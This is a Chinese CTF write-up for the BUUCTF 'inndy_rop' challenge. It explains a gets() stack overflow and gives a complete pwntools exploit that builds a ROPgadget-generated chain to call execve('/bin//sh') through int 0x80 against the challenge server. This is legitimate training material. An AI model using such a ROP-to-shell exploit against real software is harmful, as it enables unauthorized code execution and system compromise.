BUUCTF_inndy_rop(rop链)

发表于 更新于 分类于 ， ，

IDA打开

1

  1. 没有任何可以利用的东西（如system,/bin/sh,put,write等）

  2. 就只有一个get函数，存在栈溢出。

  3. 所以我们只能自己来构造rop链
    利用ROPgadget可以直接构造

    1
    ROPgadget --binary rop --ropchain

    2

  4. 写exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    from pwn import *
    from struct import pack

    r = remote('node5.buuoj.cn', 26568)

    def payload():
        # 将初始字符串转换为 bytes
        p = b'a' * (0xc + 4)
        p += pack('<I', 0x0806ecda)  # pop edx ; ret
        p += pack('<I', 0x080ea060)  # @ .data
        p += pack('<I', 0x080b8016)  # pop eax ; ret
        p += b'/bin'  # 字符串需要转换为 bytes
        p += pack('<I', 0x0805466b)  # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806ecda)  # pop edx ; ret
        p += pack('<I', 0x080ea064)  # @ .data + 4
        p += pack('<I', 0x080b8016)  # pop eax ; ret
        p += b'//sh'  # 字符串需要转换为 bytes
        p += pack('<I', 0x0805466b)  # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806ecda)  # pop edx ; ret
        p += pack('<I', 0x080ea068)  # @ .data + 8
        p += pack('<I', 0x080492d3)  # xor eax, eax ; ret
        p += pack('<I', 0x0805466b)  # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080481c9)  # pop ebx ; ret
        p += pack('<I', 0x080ea060)  # @ .data
        p += pack('<I', 0x080de769)  # pop ecx ; ret
        p += pack('<I', 0x080ea068)  # @ .data + 8
        p += pack('<I', 0x0806ecda)  # pop edx ; ret
        p += pack('<I', 0x080ea068)  # @ .data + 8
        p += pack('<I', 0x080492d3)  # xor eax, eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0807a66f)  # inc eax ; ret
        p += pack('<I', 0x0806c943)  # int 0x80
        return p

    shell = payload()
    r.sendline(shell)
    r.interactive()

    3